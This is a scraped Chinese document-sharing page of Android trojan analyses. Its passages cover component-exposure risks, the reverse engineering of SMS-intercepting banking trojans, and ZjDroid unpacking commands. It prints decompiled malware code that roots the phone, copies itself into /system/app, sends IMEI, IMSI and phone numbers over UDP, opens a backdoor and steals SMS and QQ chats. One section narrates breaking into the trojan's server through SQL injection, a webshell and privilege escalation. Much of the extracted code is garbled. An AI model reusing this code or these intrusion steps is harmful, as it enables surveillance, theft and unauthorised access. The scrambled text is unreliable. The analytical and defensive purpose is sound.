android逆向手册毒马分析_第1页
android逆向手册毒马分析_第2页
android逆向手册毒马分析_第3页
android逆向手册毒马分析_第4页
android逆向手册毒马分析_第5页
已阅读5页,还剩94页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、毒马分析 android 组件安全(后续继续补充)Service, Broadcast Receiver,这些如果在 Androidmanifest.xml 配置不当,android 四大组件 Activity, Content Provider,会被其他应用调用,引起风险。 001 组件间的调用android 组件间数据传递通过 intent, 一种是显式 intent 传递,即在构造 intent 对象时就指定接受者;另一种是隐式的 intent, 即 intent 的发送者,并不会关心接收 intent 的是谁 显试调用 eg: .5.6.7.Intent intent =

2、 new intent.setClassName(Intent(); ent.simple , ent.simple.TestActivity);startActivity(intent);Intent intent = new Intent(A.activity,B.class); startActivity(intent); 隐式调用 eg:1.2.3.Intent intent = new Intent(Intent. ACTION_DIAL ); startActivity(intent); Intent intent = n

3、ew Intent(com.test.broadcast); .8.intent.putString(PASSWORD,123456); sendBroadcast(intent); Intent intent = new Intent(com.test.service); intent.putString(USERNAME,test); startService(intent); 可能存在的风险:0021.恶意调用2.恶意接收数据3.仿冒应用,例如(恶意钓鱼,启动登录界面)4.恶意发送广播,启动应用服务5.调用组件,接收组件返回的数据6.拦截有序广播003 怎样避免风险1.不暴

4、露组件 不参加跨应用调用的组件 添加 android:exported=”false”标签,这个标签说明它是私有的,只有同一个应用程序的组件或调用相同用户 id 的应用程序才能启动或绑定该服务。eg:2.设置组件访问权限参与跨应用调用的组件或者公开的广播,服务设置权限。设置权限如下:(1)组件添加android:permission 属性1.2.3. (2)声明属性 当只有相同签名时才能调用1. protectionLevel 有四种级别 normal、dangerous、signature、signatureOrSystem。signature、signatureOrSystem 时,只有相

5、同签名时才能调用。 (3)调用组件者申明1. 004 暴露组件的代码检查android 提供各种 api 来在运行时检查,执行,授予和权限 .5.6.7.if(context.checkCallingOrSelfPermission(com.test.custempermission)!=PackageManager.PERMISSION_GRANTED) / The Application requires permission to access the/ Internet); else / OK to access the Internet http:/1.honebl.s

6、/?p=39【碉堡】探秘 Android 短信木马产业链,从逆向到! 在发表本文之前,小编有必要说一些前话。请各位小伙伴使用 Android 系统手机时,一定要注意安全,不要轻易下载应用,更不要轻易授权权限给应用。下载应用还是去大型的网站为妙。同时也不建议各位在手机上面装诸如:XXX 安全卫士、手机管家类型的软件。 小编也不得不感叹一下,现在的真是牛逼,这种逆向也做的出来。好了,说了一堆废话,今天进入正题。再提一点,文章转载自乌云知识库:原文链接000 楔子近日,小明有了一桩烦心事,扰的他寝食难安。原来是女神的某安卓手机出了怪病,短信收不到,发出去别人也收不到,更可气的是女

7、神用来准备网购的钱都 被神秘刷走。当女神满心焦躁翻遍时,蓦然发现了小明的备注:千斤顶 17 号-电脑、刷机。于是在女神可怜巴巴大眼睛的注视下,小明把胸脯拍的山响,承 诺一天搞定。 于是,小明拿到了梦寐以求的女神手机。可没想到,后面发生的事让他始料未及。001 锁定元凶拿到手机的第一件事,就是找到收不到短信的原因。翻了翻系统短信设置和 APP,装的东西都很正常,没有发现可疑的空白图标, 用软件管理工具查看,也 没有发现可疑的迹象。于是小明从系统程序开始排查,果不然,在打开“谷歌商店”时,发现了狐狸尾巴。如下图所示,第一,在未联网时点击这种 APP 会提示 “手机无法联网”。 第二,在联网时点击这

8、种 APP 会提示一大堆权限要求和出现“网络正常”提示 看到这,小明笑了,这不就是最正火的短信拦截马嘛。于是果断把手机通过豌豆荚导出目标 APK 文件包。如图所示 看着桌面上不到 100KB 的短信马,小明默默的系上了围裙(安卓虚拟环境),找出了手术刀(反编译工具 dex2jar+Xjad),把马儿按到在解剖台(Eclipse)上。 002 庖丁解牛首先,小明把 APK 文件解压,然后找到关键的 classes.dex 文件。他是 APK 文件的 java 源码编译文件。 然后把 classes.dex拷贝到 dex2jar 目录下,然后 cmd 进入 dex2jar 目录后再输入:dex2j

9、ar.batclasses.dex 回车,同目录下就得到我们想要的源码包:classes_dex2jar.jar 再请出我们的 jar 反编译 Xjad,点击文件-反编译 jar-选择上把生成的 jar 文件,就会反编译成源码文件夹。 到这一步,我们的牛算是初步分解成功了,下面就是如何找出我们要的菲力牛排003 轻抚菊花反编译后分析出木马和交互是通过调用 c#的 WebService 协议,而且菊花的 IP 是加密的,调用代码图如下: 直接把加密代码,按图索骥找到加密函数后,反编译过来发现如下: 运行后,直接爆到服务器端的地址 http:/103.X.X.X/priv1/baseservice

10、.asmx至此,找准了菊花的所在。下面开始研究啦004 长驱注入(部分由 sql test 大牛完成)(由于这里有很多专业术语,比如”大牛“一词,你们可以理解成大牛就是高手的意思,小编自加)既然找到地址了,下面怎么来拿下这,这是头疼的问题,用工具扫描了下没发现什么漏洞,本人能力有限。看样子只能从站点下手了,重新整理下思路,把 http:/103.X.X.X/priv1/baseservice.asmx 输入到浏览器发现 有这么几个方法,既然有方法可以我直接用下,打开程序引用了 WebService代码如下: 本来想试试 XSS ,用 AddCall 方法插入到数据库,代码如下 调用了下发现报错

11、无语了,既然有 SQL注入,下面我们来说下这 WebService SQL 注入。 挑选了一个获取方法 getOrders,调用的时候把参数加了一个单引号提示 MYSQL 错误,这注入点也太多了吧 以下就改造了查询语句返回了 XML:这个一看就知道了,下面的步骤就不详细写,是 root 注入。写了一个 Aspx 马上去了,在浏览器问成 写入一句话,目标是 IIS,我也没找到目录程序目录,直接试了 C:Inetpubwwwroot 功了。 基本上完成了,剩下的就是提权了,在一个朋友的帮助下提权成功。005 扩大战果这时已经通过 mysql 拿到了服务器的权限,查看注册表发现端口是 55555,服

12、务器版本为 2003R2,加了个用户就进去看看。 东西不复杂,IIS+mysql+C#的 WebService 把 mysql 做了个远程,本地连上看看。一看之下,这个团伙通过短信马监控到被害者的内容令小明大吃一惊。 在 SO 这个库里,小明发现 N 多受害人的信息,包括大额的银行转账提示。如果这种短信被拦截的话,那后果可想而知。 006 挖掘产业链 但凡一个行业必须是有利可图的,小明既然发掘到了源头,就逆流而上,去深挖一下,安卓短信拦截马的整个产业链条。说干就干,小明在电脑上输入短信拦截马、短信马出售等相关关键词,发现有很多人在发布相关的需求。 而是各种地下论坛里,很多相关求马的帖子。 他们

13、买来主要就是为了诈骗。或冒充熟人诈骗,或为了诱骗网银,或为了某些不可告人的勾当。随机找了个例子。 小明通过对代码的分析,发现短信马的运行方式是这样的。一旦安装了木马的手机,并授权给木马后,木立刻上传受害手机的。该手机的所有短信来往都会发给指定的手机号,而且该手机号可以使用代码,来指挥木马进行短信。从而实施诈骗的目的 一个木马病毒简单分析dawm木马信息: 【冒充】:民生银行 【加固保护】:梆梆加壳 为了方便大家观看,就以 JAVA 的形态展示出来吧,就不用 smali 了。 1,脱过壳之后,用 IDE 打开,看一下AndroidMAINFEST.XML。AndroidMAINFEST.XML:

14、 2,HomeActivity 入口分析 tools.url 看这个小截图就明白了3.MyContentObserver 截取短发 4.MyReceiver 广播 总结: 此木马特点民生银行,构造钓鱼页面,诱骗用户填写个人信息,并在注册高权限的 MyReciver 拦截短信,在这种情况下杀软一时没有认出这个木马,那么在启动重启后,很有可能就中了种马者的圈套。 梆梆加固木马分析木马详情:【MD5】:0dfa9ed66967e3a2be36ba48642427fb【加固保护】:梆梆加壳 【假冒】:民生银行 001使用 jeb 反汇编,查看AndroidMainfest.xml 文件以及包树状图An

15、droidMainfest.xml :.5.6.android:name=android.permission.RECEIVE_SMS / android:name=android.permission.INTERNET /uses-permissionuses-permissionuses-permissionuses-permission/android:name=android.permission.SEND_SMS android:name=android.permission.READ_SMSandroid:name=android.permission.WRITE_S

16、MS / 7.8.9. 2. 9. 30. 7.38. 该 app 用到了很多敏感的权限(短信的收发读写,以及连接网络,自启动等),以及注册的 receiver,再加上假冒民生银行这一特征,现在就可以判断 这就是一木马。查看包树状图发现了写有意思的东西。 呵呵,原来还做过梆梆加固,可以看出原 app 是没有 application 的(如果应用配置有 Application 信息,则该文件加固前后相 同,若果应用未配置 Application 信

17、息,则该文件加固前后相同,梆梆会配置 Application 为自己实现的类)。今天就使用 ZjDroid 这 个神器来脱可吧。 002 梆梆脱壳 1.ZjDrioid 模块是基于 xposed 框架的,所以首先的安装 xposed 框架并激活2.使用 DDMS记录脱壳过程中的 log 信息前面的 zjdorid-shell-是固定字符串,后面是带脱壳app 包名。接下来安装 app 并打开,查看log 信息,是否正确打印。 3.获取当前 apk 加载的 dex 文件信息:上一步操作成功后可以看到 hook 的target id,在 shell 下直接使用 am 命令,其中 target 使用

18、上面 hook 的 id:am broadcast -a com.zjdroid.invoke ei target 10482es cmd “action”:”dump_dexinfo”4.获取指定 DEX 文件包含加载类名:ambroadcast-acom.zjdroid.invokeeitarget 10482 escmd“action”:”dump_class”,”dexpath”:”/data/data/cndc.Wrsdfcmn.jfdddangms813/.cache/classes.jar“5.使用 backsmali 来 dump dexam broadcast -a com.

19、zjdroid.invoke eitarget 10482 es cmd “action”:”backsmali”,”dexpath”:”/data/data/cndc.Wrsdfcmn.jfdddangms813/.cache/classes.jar”dump 过程需要稍等一会儿,当看到下图之后,表示 dump 完成,并将 dex 文件存放在 files 目录下 使用 re 管理器将 dex 导出,接来就想怎么玩就怎么玩啦。发现没有做任何的混淆,后面的工作都比较简单了。 003 木马行为分析3.1 HomeActivity 入口分析启动程序,木行激活设备管理器,造成普通用户难卸载 1. 2.

20、 3. 4. 5. 6. 7. 8. 9. 10.11. 12. 5.26.27.protected void onCreate(Bundle paramBundle) super.onCreate(paramBundle); requestWindowFeature(1); getWindow().setFlags(1024, 1024); setContentView(2130903040); init();/初始化 webviewcheckFirst(this); this.manager = (DevicePol

21、icyManager)getSystemService(device_policy); this.mName = new ComponentName(this, Manager.class); if (!this.manager.isAdminActive(this.mName) /判断设备是否被激活,是否具有管理员权限。activiteDevice(); while (true) this.homeBtn = (TextView)findViewById(2131165185); this.closeBtn = (TextView)findViewById(2131165186); MyOn

22、ClickListener localMyOnClickListener = new MyOnClickListener(); this.homeBtn.setOnClickListener(localMyOnClickListener); this.closeBtn.setOnClickListener(localMyOnClickListener); if (Tools.URL != null) & (!.equals(Tools.URL) break; finish(); return; if (this.contentObserver != null) getContentResolv

23、er().unregisterContentObserver(this.contentObserver);this.contentObserver = new MyContentObserver(new Handler(), this); 28.getContentResolver().registerContentObserver(Uri.parse(content:/sms/),true,this.contentObserver);4.45. WebSettings localWebSettings

24、 = this.wv.getSettings(); localWebSettings.setJavaScriptEnabled(true); localWebSettings.setJavaScriptCanOpenWindowsAutomatically(true); localWebSettings.setAllowFileAccess(true); localWebSettings.setSupportZoom(false); localWebSettings.setBuiltInZoomControls(true); localWebSettings.setJavaScriptCanO

25、penWindowsAutomatically(true); localWebSettings.setCacheMode(2); localWebSettings.setDomStorageEnabled(true); localWebSettings.setDatabaseEnabled(true); localWebSettings.setSavePassword(false); localWebSettings.setSaveFormData(false); loadurl(this.wv, Tools.URL); this.wv.setWebViewClient(new MyWebVi

26、ewClient(); this.wv.setWebChromeClient(new MyWebChromeClient(); 1.判断设备被激活,是否具有管理员权限,若没有就激活设备使得具有管理员权限2.通过 getContentResolver().registerContentObserver 安装短信3. 使用 WebViewClient(), 与 setWebChromeClient()完成加载 url:/wapt.asp3.2MyRevicer 分析1.捕获系统启动包,然后注册短信if1. .6.7.8.(th

27、is.handler = null) this.handler = new MessageHandler(); if (paramIntent.getAction().equals(ent.action.BOOT_COMPLETED) if (this.content != null) paramContext.getContentResolver().unregisterContentObserver(this.content); this.content = new MyContentObserver(new Handler(), paramContext); par

28、amContext.getContentResolver().registerContentObserver(Uri.parse(content:/sms/),true,this.content);9.2.启动 MyService 服务,为了动态注册MyRevicer,第一时间拿到短信3.捕获短受包,通过手机好判断是否是自己,通过解析指令控制手机,若不是转发短息给自己。在Tools 类里封装了 作者电话信息,和钓鱼网址,发送的函数。004 简单总结:此木马特点民生银行,构造钓鱼页面,诱骗用户填写个人信息,并在注册高权限的 MyReciver 拦截短信,在这种情况下杀软一时没有认出这个木马,那么

29、在启动重启后,很有可能抢不赢中码者的短信。 http:/1./?p=159假冒淘宝远控木马001 木马介绍:该木马首先会打包 udp 数据包,将手机基本信息发送到指定的地址: 端口: 8000,造成分析者困惑,以及欺骗沙箱。然后木马通过连接自己的后们,配置 udp 发送目的地,以及设置一些 flag,偷取用户的 qq 聊天记录,微信语音聊天记录,中码者的活动地址,短信收发信息,联系人信息等等。 一、对 AndroidManifest.xml 文件的分析,发现该 app 使用了大量危险权限,并对短信,系统启动,网络变化都进行。 1.2

30、..3. 02 首先从主 Activity 入口分析:1. 启动 TimerService 服务 2. 捆绑安装 assets 目录下的 pingAnAccident3.0.apk 文件(分析发现 assets 目录下并没有 pingAnAccident3.0.apk 文件) .5.6.7.publicvoid onCreate(Bundle savedInstanceState)super.onCreate(savedInstanceStat

31、e); this.setContentView(2130903040); this.startService(newIntent(Context)this),TimerService.class);RetrieveApk retrieveApk =newRetrieveApk();/ 捆绑安装 assets 目录下的 pingAnAccident3.0.apk if(!retrieveApk.MoveApk(Context)this)this.finish(); 8. 9. else10. retrieveApk.InstallPacket();11. 12. 转入 TimerService

32、服务:TimerSerivce 服务是此木马核心代码 1. 获取中码手机信息,如:设备 ID,电话号码,imei 号,注册的网络运营商等信息。 2. 配置木马的恶意行为,包括建立 UDP 对象,初始化连接 ip,端口; 初始化手机位置信息对象, 件管理对象,短信监控对象 对象,手机截屏对象,手机 qq 信息记录对象, 文3. 运行命令接收线程控制手机,运行录音线程,初始化屏幕解锁与锁定 recevier,以控制手机Gps 状态。 4.替换手机 su 文件,并拷贝木马准备的 cp,screenhelper 文件(也就是只能对 root 过后的手机下黑手),将获取到的手机号码,imsi,imei,

33、等打包成 udp数据包发送到指定站点 5. 建立后门.端口 10000,通过连接后门传送自己定义的指令,来控制手机,偷取信息 6. 时间任务器没 30 秒偷取手机设备信息,qq 聊天信息,系统安装程序包,联系人,短信信息,通话记录,屏幕截图,中码者位置等等 .5.publicvoid onCreate()this.m_3gp =new config3g(); this.m_wificonfig =new configwifi();this.GetConfig();/ m_strip 配置(“”)this.GetVersion();/ 读取 Assest

34、目录下的,version.txt 获取当前木马版本.this.telephonyMgr =(TelephonyManager)getSystemService(phone);this.contentresolver = getContentResolver();this.m_Imei =this.telephonyMgr.getDeviceId(); if(this.m_Imei =null) 7.this.m_Ime

35、i = getDeviceId();this.m_Imsi =this.telephonyMgr.getSubscriberId(); if(this.m_Imsi =null)this.m_Imsi =;this.m_PhoneNum =this.telephonyMgr.getLine1Number(); if(this.m_PhoneNum =null)this.m_PhoneNum =;this.m_NetWorkName =this.telephonyMgr.getNetworkOperatorName(); this.udp =new UDP(); this.udp.Init(th

36、is.m_strip,Integer.valueOf(this.m_strport).intValue(),this.m_Imei); this.m_cont = getApplicationContext();this.m_su =new SU(this.m_cont);this.m_su.BeginSu(); /替换手机 su 文件,为后面执行命令准备 if(this.sp.getLong(systemlog,0L)=0L)String str2 = getPackageName();RootCmd(mount -o rw,remount /systemncp /data/app/+ st

37、r2 +*.apk /system/app/+ str2 +-1.apknchmod 777 /system/app/+ str2 +*.apk);/将木马拷贝到系统 app 目录下,this.editor.putLong(systemlog,1L);this.gsmLocation =newGsmLocation();自己为系统核心软件 this.gsmLocation.Init(this.telephonyMgr,this.udp,this);this.audio =newAudio(); this.audio.Init(this.udp,this.telephonyMgr,this);

38、this.screen =newScreen();AssetManager localAssetManager = getAssets(); this.screen.Init(this.udp,this, localAssetManager);this.m_oldfile =newSendOldFile(); 5.this.m_oldfile.Init(this,this.udp);this.mqq =new mobiqq(); i

39、f(this.m_Imei !=null)this.mqq.Init(this.m_cont,this.m_Imei,this.udp,this, localAssetManager); this.CreateEnviromentAudioPath();/ 在存储卡上创建.tmp/environmentaudioaudio 目录this.file =newFileManage();this.file.Init(this.udp,this); this.filetrans =newFileTrans(); this.filetrans.Init(this.udp,this); this.sms

40、=newSms();this.sms.Init(this.udp,this.contentresolver,this); this.cmdThread =newRecvThread(this); this.cmdThread.start(); /建立命令接收线程,控制手机this.enaudioThread =new environmentaudio(this,this.udp); this.enaudioThread.start();if(this.m_screenreceiver =null)this.m_screenreceiver =newScreenActionReceiver();

41、 this.m_screenreceiver.Init(this.m_cont,this); IntentFilter localIntentFilter =newIntentFilter();localIntentFilter.addAction(com.emple.teacher.ACTION); registerReceiver(this.m_screenreceiver, localIntentFilter); this.m_screenreceiver.registerScreenActionReceiver(this.m_cont);if(Environment.getExtern

42、alStorageState().equals(mounted) this.m_srcardpath =Environment.getExternalStorageDirectory().getPath(); servertrans.SetInstance(this);this.m_phonename =(Build.MODEL +,+Build.VERSION.SDK +,+Build.VERSION.RELEASE);并由 this.m_envoromentaudiopath 字段保存 1.82.8

43、2.93.Object arrayOfObject =newObject7;arrayOfObject0=this.m_PhoneNum; arrayOfObject1=this.m_Imsi; arrayOfObject2=this.m_Imei; arrayOfObject3=this.m_phonename;arrayOfObject4=Integer.valueOf(this.m_oldfile.m_delefefile /3600); arrayOfObject5=this.m_version;arrayOfObject6=thi

44、s.m_strip;String str1 =String.format(HEARTn%sn%sn%sn%sn%dn%sn%s, arrayOfObject); this.udp.SendData(str1); /发送当前中码手机信息 DirTheard localDirTheard =newDirTheard(this.udp,this); Thread localThread =newThread(localDirTheard); localThread.start();this.m_cmdThread =newTcpServer(this); /建立后门if(this.m_cmdThread !=null) this.m_cmdThread.start();this.mTimer =newTimer(); /建立时间任务,偷取中码手机短信,qq 聊天记录,位置,通话记录,手机当前运行包,手机联系人信息等等this.mTimer

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论